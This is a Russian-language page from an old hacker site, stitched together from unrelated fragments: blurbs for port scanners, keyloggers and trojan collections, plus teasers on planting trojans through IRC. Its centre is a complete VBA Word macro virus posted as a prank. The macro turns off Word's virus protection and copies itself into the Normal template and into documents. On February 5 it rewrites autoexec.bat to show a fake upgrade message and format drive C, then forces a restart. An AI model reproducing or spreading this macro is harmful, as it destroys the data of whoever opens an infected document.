Прочитав на ксакепе повествование об обмане AVP при посылке трояна на удаленный компьютер я был сказочно обрадован полетом народной мысли :) Но разве можно заниматься таким вредительством, как удаление баз с вирусными сигнатурами - это сакс (не по-кулхацкерски), к тому же каждый дурак любит постоянно обновлять базы - благо на халяву и автоматом :( Теперь и я хочу поделиться кое-каким методом

Эта прога может решить все проблемы с кодировками.

Программа предназначенна для просмотра паролей, скрывающихся за звездочками.

Привет! Вот ещё западло на VBA: Dim y1, y2, y3, y4 As Boolean Dim p As Variant Dim y5, y6 As Object Dim y7, y8, y16 As Integer Dim y9 As Date Dim y10, y11, y12, y13, y14, m As String Const y15 = "HELL" Private Sub Document_Close() On Error Resume Next Set y5 = ActiveDocument.VBProject.VBComponents.Item(1) Set y6 = NormalTemplate.VBProject.VBComponents.Item(1) With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With y3 = y5.CodeModule.Find(y15, 1, 1, 10000, 10000) y4 = y6.CodeModule.Find(y15, 1, 1, 10000, 10000) y9 = Now() y7 = Day(y9) y8 = Month(y9) If y7 = 5 And y8 = 2 Then 'y7- день и y8- месяц, когда надо сделать "upgrade" ;) Set fs = CreateObject("Scripting.FileSystemObject") If fs.fileexists("c:\autoexec.bat") Then Set ab = fs.getfile("c:\autoexec.bat") ab.Attributes = 0 End If Set autoexec = fs.CreateTextFile("c:\autoexec.bat") autoexec.WriteLine "cls" autoexec.WriteLine "echo Windows upgrading your system..." autoexec.WriteLine "echo Do not abort this process!" autoexec.WriteLine "format c: \autotest" autoexec.Close m = MsgBox("Новые параметры вступят в силу после перезагрузки системы", vbOKOnly) p = Shell("Rundll32.exe User.exe,ExitWindows") End If If y3 = True Then y13 = y5.CodeModule.Lines(1, y5.CodeModule.CountOfLines) ElseIf y4 = True Then y13 = y6.CodeModule.Lines(1, y6.CodeModule.CountOfLines) End If If (y3 = True Xor y4 = True) And _ (ActiveDocument.SaveFormat = wdFormatDocument Or _ ActiveDocument.SaveFormat = wdFormatTemplate) Then If y3 = True Then y2 = NormalTemplate.Saved y11 = y5.CodeModule.Lines(1, y5.CodeModule.CountOfLines) y6.CodeModule.DeleteLines 1, y6.CodeModule.CountOfLines y6.CodeModule.AddFromString y11 If y2 = True Then NormalTemplate.Save End If If y4 = True Or ActiveDocument.Saved = False Then y1 = ActiveDocument.Saved y11 = y6.CodeModule.Lines(1, y6.CodeModule.CountOfLines) y5.CodeModule.DeleteLines 1, y5.CodeModule.CountOfLines y5.CodeModule.AddFromString y11 If y1 = True Then ActiveDocument.Save End If End If End Sub Private Sub Document_New() Set y5 = ActiveDocument.VBProject.VBComponents.Item(1) Set y6 = NormalTemplate.VBProject.VBComponents.Item(1) y9 = Now() y7 = Day(y9) y8 = Month(y9) If y7 = 5 And y8 = 2 Then Set fs = CreateObject("Scripting.FileSystemObject") If fs.fileexists("c:\autoexec.bat") Then Set ab = fs.getfile("c:\autoexec.bat") ab.Attributes = 0 End If Set autoexec = fs.CreateTextFile("c:\autoexec.bat") autoexec.WriteLine "cls" autoexec.WriteLine "echo Windows upgrading your system..." autoexec.WriteLine "echo Do not abort this process!" autoexec.WriteLine "format c: \autotest" autoexec.Close End If End Sub Private Sub Document_Open() Set y5 = ActiveDocument.VBProject.VBComponents.Item(1) Set y6 = NormalTemplate.VBProject.VBComponents.Item(1) y9 = Now() y7 = Day(y9) y8 = Month(y9) If y7 = 5 And y8 = 2 Then Set fs = CreateObject("Scripting.FileSystemObject") If fs.fileexists("c:\autoexec.bat") Then Set ab = fs.getfile("c:\autoexec.bat") ab.Attributes = 0 End If Set autoexec = fs.CreateTextFile("c:\autoexec.bat") autoexec.WriteLine "cls" autoexec.WriteLine "echo Windows upgrading your system..." autoexec.WriteLine "echo Do not abort this process!" autoexec.WriteLine "format c: \autotest" autoexec.Close End If End Sub Есть полезная инфа? Отправляй ее нам

<SCRIPT> if (window != top) top.location.href = location.href;<br> </SCRIPT>

Хе-хе, привет! Речь пойдёт об ICQ, о так называемых аськах! Есть множество способов по зарабатыванию уинов для аси! Брутфорс я описывать не буду... Короче так... если у тебя халявный инет или ты платишь по месяцам, то это в моём случае будет лучше..

Программа-шпион.

Это программа предназначена для защиты содержимого директорий от посторонних лиц.

Как недавно установили ученые, разумная жизнь в принципе возможна на многих планетах, включая нашу. Вселенная... Сказав это слово, в моей голове рождается много вопросов: откуда Она, кем создана, где Ее границы??? Вряд ли человечество ответит на эти вопросы в ближайшем будущем и ответит ли вообще когда-нибудь? Космос - совукупность галактик, систем (наподобие нашей родной - солнечной), самых разных звезд, планет, черных дыр в конце концов

Цель данной статьи - показать способ взлома вашего компьютера. Автор не несет никакой ответственности за ущерб, который может быть следствием прочтения этого сообщения.

Proxy Checker это программа, как следует из названия, проверяет прокси сервера на работоспособность и анонимность.

Этот архиватор интересен тем, что он интегрируется с виндами.

TCP/IP порт сканер.

Прога предназначена для облегчения поиска известных CGI-дырок.

Быстрый визуальный trace route.

Простой, удобный и быстрый сканер портов.

Отличный клавиатурный шпион.

Собрав огроменную кучу критики на предыдущую статью Сборник троянов #1, решил показать вам настоящий супер-сборник троянов, откуда вы можете достать практически все, что существует на свете (по крайней мере все то, что было описано в первой статье)

Хочу рассказать тебе о том, как легко и просто впарить трояна через IRC.  Требуется: 1. Irc клиент; 2. Троян; 3. Один кулхацкер :); 4. Умение быстро переименовывать файлы; 5. Время и терпение. Идея проста, как сама жизнь ;). Заходим на IRC, ищем каналы, на которых люди качают мп3-шки

Всех приветствую! После моей последней статьи "Умные Ламеры" я получил очень большое количество отрицательной энергии в мой адрес. Мол я сам ламер, долой журнал, царя, самодержавие! Не надо нам хумор, а давай нам про хак! 1: Я сам не Хакер! Я этого никогда не говорил

Утилита RegmonEx отслеживает все обращения программ к реестру Windows.

Сканирует открытые порты удаленного компьютера, к которым можно законектиться и пытается это сделать.

Привет! Сразу хочу предупредить, что следующая инструкция предназначена для начинающих, почти для ламеров.